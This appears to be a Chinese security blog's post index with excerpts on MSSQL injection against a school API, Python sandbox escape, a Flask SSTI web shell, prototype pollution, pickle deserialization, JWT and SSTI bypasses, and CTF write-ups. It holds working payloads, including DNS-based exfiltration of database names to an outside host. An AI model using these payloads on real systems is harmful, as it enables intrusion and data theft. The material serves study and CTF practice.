针对学校的mssql的测试

在复测的时候发现,学校对api的未授权与sql注入的操作是将asp api help面板直接删掉,而没做任何修改 在fuzz后发现存在堆叠注入,但是无回显,尝试使用dnslog来打(这也是第一次用到这个技巧) POST *** HTTP/1.1 Host: *** Content-Type: application/JSON User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 {"LogUser":"admin' or'1'='1 ","LogPwd":"1","NewPwd":"123123admin!@#';DECLARE @d VARCHAR(100)=(SELECT TOP 1 name FROM sys.databases);EXEC('xp_dirtree ''\\\\'+@d+'.rbxkyltzcf.iyhc.eu.org\\test''')-- -"} 直接启动xpcmd 理想很美好理论四步就可以打开xpcmd权限 ;EXEC sp_configure 'show advanced options',1;//允许修改高级参数 RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展 RECONFIGURE;-- 但是当做到第步骤的时候会出现 { "msg": "在用户事务内不能使用 CONFIG 语句。", "success": false } 而RECONFIGURE会被判定为config语句,所以导致了’show advanced options’,1即使成立也没有什么用 基于xp_dirtree或者xp_cmd的dnslog外带 假设一个最有利的情况,如果xp_cmd可以使用,则可以构造一个如下的payload来完成数据外带 set @a=USER_NAME();exec('master..xp_cmdshell "ping -n 2 ' %2b @a %2b'.dnslog.cn"')-- 假设无法使用xpcmd也可以尝试xp_dirtree进行dnslog的外带 ';DECLARE @d VARCHAR(100)=(SELECT TOP 1 name FROM sys.databases);EXEC('xp_dirtree ''\\\\'+@d+'.rbxkyltzcf.iyhc.eu.org\\test''')-- - 因为xpdirtree允许接受一个路径作为参数,如果参数为unc路径,则会将主机名作为地址查询ip,而操作则会发出一个dns请求,借此完成数据外带 ...

May 16, 2025 · 2 min · 268 words · neko

python沙箱逃逸

基础补充 对象 在python中一切皆对象,而每个对象都有标志,唯一表示,值 >>> num = 42 >>> print(type(num)) <class 'int'> >>> print(id(num)) 140247156393488 >>> type函数 返回对象的类型,即对象是由什么类创建的 类本身也是类,而类的类型是type(元类) >>> id = 1 >>> type(id) <class 'int'> >>> type(type(id)) <class 'type'> >>> id函数 输出对象的内存地址 类和实例 (class and instance) 简单一句话就是,类是对象的模板,实例是类的具体实现。 在python中实现是 class hack: def test(self): print("hAcK!") boom = hack() #基于hack模板创建实例 boom.test() #调用创建的方法 对象的属性和方法 属性 对象所携带的变量 方法 对象执行的操作(函数) class Cat: def __init__(self,name): self.name = name #属性 def getname(self): print(self.name) cat = Cat("miao") print(cat.name) cat.getname() 魔术方法 python中的魔术方法使用下划线包裹,使用与php的魔术方法类似 __init__ 初始化对象,在实例创建时被调用 __str__ 定义对象的字符串表示,已字符串形式输出时被调用 __getattr__ 访问不存在的属性时触发 __getattribute__ 访问任意属性触发 __dict__ 存储对象属性字典触发 class Vector: def __init__(self, x, y): self.x = x self.y = y def __str__(self): return f"Vector({self.x}, {self.y})" v = Vector(3, 4) print(v) # 自动调用 __str__ → "Vector(3, 4)" 继承与多态 集成:子类集成父类的属性与方法 多态:子类可以重写父类的方法 class Animal: def speak(self): raise NotImplementedError class Duck(Animal): def speak(self): # 方法重写 print("Quack!") duck = Duck() duck.speak() # 输出 "Quack!" 特殊属性 __class__ :获取对象的类 ...

May 13, 2025 · 4 min · 647 words · neko

flask 内存马学习

常常听说java的内存马,python的内存马却鲜少听说 旧版flask 靶机代码 from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/e') def e(): a = eval(request.args.get('cmd')) if a : return "1" else: return "0" 网络上的多数信息是,利用ssti打一个命令执行 url_for.__globals__['__builtins__']['eval']( "app.add_url_rule( '/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read() )", { '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'], 'app':url_for.__globals__['current_app'] } ) 其中关键是 app.add_url_rule( '/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read() ) 在早期的时候是用add_url_rule函数,他的作用是添加一个新路由,在正常开发中我们常使用的是 @app.route('/') def index(): pass 而他等价于 def index(): pass app.add_url_rule('/', 'index', index) 回到关键payload app.add_url_rule向当前的应用添加了一个新的路由,指向shell之后通过lambda匿名函数构建了路由逻辑,通过flask自动调用 而之后的 { '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'], 'app':url_for.__globals__['current_app'] } 分别提供了request对象与app,使得上面运行正常 新版 在最新的flask中使用上述payload,会出现如下错误 AssertionError: The setup method 'add_url_rule' can no longer be called on the application. It has already handled its first request, any changes will not be applied consistently. 在新版中,add_url_rule不能在启动后直接添加了,不能接收路由变更 ...

May 11, 2025 · 1 min · 159 words · neko

ejs漏洞与原型链污染利用

简述:基本所有漏洞都遵守三点,漏洞存在、输入可控、触发代码,ejs原型链污染主要在最后触发上起作用 jsExtend模块的原型链污染 CVE-2021-25945,截至目前依旧可用 poc const jsExtend = require("js-extend") //const ejs = require('ejs'); var obj = {} var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}'; console.log("Before: " + {}.polluted); jsExtend.extend({}, JSON.parse(malicious_payload)); console.log("After : " + {}.polluted); 可以稍微研究下,跟进到模块的代码 (function(factory) { if(typeof exports === 'object') { factory(exports); } else { factory(this); } }).call(this, function(root) { var slice = Array.prototype.slice, each = Array.prototype.forEach; var extend = function(obj) { if(typeof obj !== 'object') throw obj + ' is not an object' ; var sources = slice.call(arguments, 1); each.call(sources, function(source) { //关键点 if(source) { for(var prop in source) { if(typeof source[prop] === 'object' && obj[prop]) { extend.call(obj, obj[prop], source[prop]); } else { obj[prop] = source[prop]; } } } }); return obj; } root.extend = extend; }); 不用怎么看,这个结构太熟悉了 ...

April 21, 2025 · 2 min · 342 words · neko

python 反序列化pickle模块

python的反序列化和其他语言的类似功能类似,都是将对象数据转化为字节流方便存储与流转,使用时在将其转化回对原始对象的过程 python中的反序列化一般有两种方式:pickle模块与json模块,前者为python特有格式,后者使用通用json格式 python反序列化漏洞主涉及以下几个概念pickle,pvm,__redurce__ ,魔术方法 pickle pickle是python的内置的反序列化模块,核心功能是将python对象转化为字节流(序列化),以及将字节流还原为对象(反序列化) 简单演示: import base64 import pickle data = { "name":"123123", "age":30 } datapic = pickle.dumps(data) print(base64.b64encode(datapic)) 服务端 import base64 import pickle data = input("Enter payload: ").encode() obj = pickle.loads(base64.b64decode(data)) print(obj) Enter payload: gASVHQAAAAAAAAB9lCiMBG5hbWWUjAYxMjMxMjOUjANhZ2WUSx51Lg== {'name': '123123', 'age': 30} pickle可以用于绝大多数python对象,他的操作方法有如下四种 dump 对象序列化到文件对象并存入文件 dumps 对象序列为字节流 load 对象反序列化,从文件读取数据 loads 对象反序列化,从字节流读取数据 PVM python虚拟机的简写,先前序列化出来的内容其实就是pvm的操作内容 PVM结构 pvm所处理的数据是是一个二进制字节流,由协议头、操作码、数据段、和状态控制符组成 \x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94. 通过pickletools可以将其分解可读的操作码 import pickletools payload = b'\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.' # 查看 PVM 指令分解 pickletools.dis(payload) 0: \x80 PROTO 4 2: \x95 FRAME 29 11: \x8c SHORT_BINUNICODE 'posix' 18: \x94 MEMOIZE (as 0) 19: \x8c SHORT_BINUNICODE 'system' 27: \x94 MEMOIZE (as 1) 28: \x93 STACK_GLOBAL 29: \x94 MEMOIZE (as 2) 30: \x8c SHORT_BINUNICODE 'id' 34: \x94 MEMOIZE (as 3) 35: \x85 TUPLE1 36: \x94 MEMOIZE (as 4) 37: R REDUCE 38: \x94 MEMOIZE (as 5) 39: . STOP 协议头 标识使用的pickle协议版本一般使用 ...

March 15, 2025 · 2 min · 248 words · neko

jwt_session伪造

jwt_session伪造 JWT:将用户身份信息编码到Token,通过签名确保数据完整性,无需服务器验证,只需要验证签名完整性 jwt由三部分组成:头部.载荷.签证 e e K y y M J J U h z F b d s G W I c I D i i T O O n i i F J I m I x y U M G z j 3 I M n 1 0 M N N i i T G I Y M s 3 6 I O H n D 9 R k F 5 w N c I F C i U I w R 6 i O I b f k m 3 p F w X t h V Z 7 C S S J I m 9 6 q . I J k p p - v Q a V G 3 4 0 g R G 9 l I i w i Y W R t a W 4 i O n R y d W U s I m l h d C I 6 M T U x N j I z O T A y M n 0 . 由签证验证前两者的准确性 ...

February 27, 2025 · 2 min · 410 words · neko

python ssti 注入绕过与ctfshow刷题

如何确定模板: 一个完成的ssti利用如下 拿基类->找子类->构造命令->拿flag {{''.__class__.__base__.__subclasses__()}} # 拿基类 {{equest.__class__.__mro__[-1].__subclasses__()[206].__init__.__globals__}} #找子类 (常见是命令执行或者文件读取类的) {{equest.__class__.__mro__[-1].__subclasses__()[206].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} # 构造命令 {%%} 执行 有时候双大括号会被过滤,可以使用这个进行执行 输出可用: {%print("".__class__)%} request 绕过 最喜欢的绕过方式 request可以访问基于http请求的传递的所有信息,这里的request是flask的函数 request.args.key #获取get传入的key的值 request.form.key #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) reguest.values.key #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get request.cookies.key #获取cookies传入参数 request.headers.key #获取请求头请求参数 request.data #获取post传入参数(Content-Type:a/b) request.json #获取post传入json参数 (Content-Type: application/json) 例如[HNCTF 2022 WEEK3]ssssti 这道题,就可以使用request绕过的方式 from flask import Flask,render_template,render_template_string,redirect,request,session,abort,send_from_directoryimport os import re app = Flask(__name__) @app.route("/") def app_index(): name = request.args.get('name') blacklist = ['\'', '"', 'args', 'os', '_'] if name: for no in blacklist: if no in name: return 'Hacker' template = '''{%% block body %%} <div class="center-content error"> <h1>WELCOME TO HNCTF</h1> <a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#python" id="test" target="_blank">What is server-side template injection?</a> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.args.get('name')) return render_template_string(template) if __name__=="__main__": app.run(host='0.0.0.0',port=5050) payload: ...

February 20, 2025 · 2 min · 289 words · neko

ssti,模板注入

模板注入不止与python,其官方存在与各类存在模板引擎的语言中,java,php,js,都有,这里为了方便使用python学习 from flask import Flask from flask import request from flask import render_template_string app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def index(): template = ''' <p>Hello %s </p>''' % (request.args.get('name')) return render_template_string(template) if __name__ == '__main__': app.run() flask框架使用的是jinja2模板引擎 关键在于 <p>Hello %s </p>''' % (request.args.get('name')) 将输入直接插入了显示,而jinja2会在插入的时候将{{}}中的内容作为变量解析 利用前置知识点 对象 python中一切都是对象,创建列表、字符、字典、时候都是在创建对象 继承 对象的类是实例,类是对象的模板,创建对象其实是创建了一个类的实例,python中所有类继承与一个基类,通过创建一个对象反向查找他的类以及他的父类,这样就能从任意对象回到基类,在从此往下查找 魔术方法 通过魔术方法能做到对类的操控,从而完成命令执行或文件读取之类的操作 注入流程 拿基类->找子类->构造命令->拿flag 魔术方法备忘 _ _ _ _ c b b m l a a r a s e o s e s _ s _ e _ _ _ _ _ _ 对 查 实 象 对 看 例 的 象 继 对 直 的 承 象 接 全 关 的 基 部 系 类 类 基 的 类 调 , 用 元 顺 组 序 形 , 式 元 组 形 式 基类 通过mro魔术方法拿到基类 ...

February 20, 2025 · 4 min · 681 words · neko

suctf2025 复盘

k8s aliyun 基础权限的获取不难,通过_posixsubprocess模块可以执行命令 import os import _posixsubprocess _posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False) 同时通过往tmp路径下写入一个bash -i的反弹脚本调用即可 前面我先使用了常见的对k8s的手段,读取/var/run/secrets/kubernetes.io/serviceaccount/tokentoken尝试获得权限,没用,权限很低 后续又使用了CDK进行扫描,扫描出了几个cve,逐个尝试后发现没用,又发现metadata,这时候已经第二天了,使用metadata读取到了token,之前没打过云,在网上搜索过后发现可以使用cf工具接管console,但尝试过后这个方法在阿里云升级后也没用了,后续翻找也没用发现存在的oss桶,就与这题目错过了 题解 阿里云cli 登入 #aliyun oss ls oss://suctf-flag-bucket --all-versions LastModifiedTime Size(B) StorageClass ETAG VERSIONID IS-LATEST DELETE-MARKER ObjectName 2025-01-11 21:30:39 +0800 CST 0 CAEQmwIYgoDA2sKe1qIZIiA2NmViNDQ2NWVjNzk0MzQ1YjdiNjdkYTE5ZjYwNTQyMg-- true true oss://suctf-flag-bucket/oss-flagx 2025-01-11 21:30:03 +0800 CST 76 Standard 7246CE228374D17256B45DDF88E891A0 CAEQmwIYgYDA6Lad1qIZIiAyMjBhNWVmMDRjYzY0MDI3YjhiODU3ZDQ2MDc1MjZhOA-- false false oss://suctf-flag-bucket/oss-flag Object Number is: 2 #aliyun oss cat oss://suctf-flag-bucket/oss-flag --version-id CAEQmwIYgYDA6Lad1qIZIiAyMjBhNWVmMDRjYzY0MDI3YjhiODU3ZDQ2MDc1MjZhOA-- SUCTF{kubernetes_is_not_only_the_cloud-a09f950a-eb89-46f4-b381-fec7c9a0023a} SU_photogallery PHP<=7.4.21 Development Server源码泄露,但我没用复现成功 读出来的代码 <?php error_reporting(0); function get_extension($filename){ return pathinfo($filename, PATHINFO_EXTENSION); } function check_extension($filename,$path){ $filePath = $path . DIRECTORY_SEPARATOR . $filename; if (is_file($filePath)) { $extension = strtolower(get_extension($filename)); if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) { if (!unlink($filePath)) { // echo "Fail to delete file: $filename\n"; return false; } else{ // echo "This file format is not supported:$extension\n"; return false; } } else{ return true; } } else{ // echo "nofile"; return false; } } function file_rename ($path,$file){ $randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file); $oldPath = $path . DIRECTORY_SEPARATOR . $file; $newPath = $path . DIRECTORY_SEPARATOR . $randomName; if (!rename($oldPath, $newPath)) { unlink($path . DIRECTORY_SEPARATOR . $file); // echo "Fail to rename file: $file\n"; return false; } else{ return true; } } function move_file($path,$basePath){ foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) { $destination = $basePath . DIRECTORY_SEPARATOR . basename($file); if (!rename($file, $destination)){ // echo "Fail to rename file: $file\n"; return false; } } return true; } function check_base($fileContent){ $keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info']; $base64_keywords = []; foreach ($keywords as $keyword) { $base64_keywords[] = base64_encode($keyword); } foreach ($base64_keywords as $base64_keyword) { if (strpos($fileContent, $base64_keyword)!== false) { return true; } else{ return false; } } } function check_content($zip){ for ($i = 0; $i < $zip->numFiles; $i++) { $fileInfo = $zip->statIndex($i); $fileName = $fileInfo['name']; if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) { return false; } // echo "Checking file: $fileName\n"; $fileContent = $zip->getFromName($fileName); if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) { // echo "Don't hack me!\n"; return false; } else { continue; } } return true; } function unzip($zipname, $basePath) { $zip = new ZipArchive; if (!file_exists($zipname)) { // echo "Zip file does not exist"; return "zip_not_found"; } if (!$zip->open($zipname)) { // echo "Fail to open zip file"; return "zip_open_failed"; } if (!check_content($zip)) { return "malicious_content_detected"; } $randomDir = 'tmp_'.md5(uniqid().rand(0, 99999)); $path = $basePath . DIRECTORY_SEPARATOR . $randomDir; if (!mkdir($path, 0777, true)) { // echo "Fail to create directory"; $zip->close(); return "mkdir_failed"; } if (!$zip->extractTo($path)) { // echo "Fail to extract zip file"; $zip->close(); } for ($i = 0; $i < $zip->numFiles; $i++) { $fileInfo = $zip->statIndex($i); $fileName = $fileInfo['name']; if (!check_extension($fileName, $path)) { // echo "Unsupported file extension"; continue; } if (!file_rename($path, $fileName)) { // echo "File rename failed"; continue; } } if (!move_file($path, $basePath)) { $zip->close(); // echo "Fail to move file"; return "move_failed"; } rmdir($path); $zip->close(); return true; } $uploadDir = DIR . DIRECTORY_SEPARATOR . 'upload/suimages/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0777, true); } if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { $uploadedFile = $_FILES['file']; $zipname = $uploadedFile['tmp_name']; $path = $uploadDir; $result = unzip($zipname, $path); if ($result === true) { header("Location: index.html?status=success"); exit(); } else { header("Location: index.html?status=$result"); exit(); } } else { header("Location: index.html?status=file_error"); exit(); } 总的来说这次比赛发挥很差,一个致命的原因就是没用找到关键点,题目的关键点也好flag的关键点也好,总的来说还是题做少了 ...

January 20, 2025 · 3 min · 543 words · neko

CloudFlare WAF 配置

CloudFlare WAF 配置 说实在的不知道招谁惹谁了,近期网站常常受到ddos攻击,之前对waf的配置没什么了解都是临时招架,但这次多变和长时间的攻击让我找到了防御的方法 其实重点就两个,速率限制与ip封禁 速率限制 在 安全性->WAF的选项中选择速率限制规则 url路径通配符 配置如下 ip封禁 在时间处可以导出json的事件信息,通过python的处理,提取出不重复的ip手动封禁 import json with open('data.json', 'r') as file: data = json.load(file) unique_ips = set() for entry in data: if 'clientIP' in entry: unique_ips.add(entry['clientIP']) with open('unique_ips.txt', 'w') as file: for ip in unique_ips: file.write(ip + '\n') 这样针对个人网站的小量级攻击基本都能拦下来

January 19, 2025 · 1 min · 47 words · neko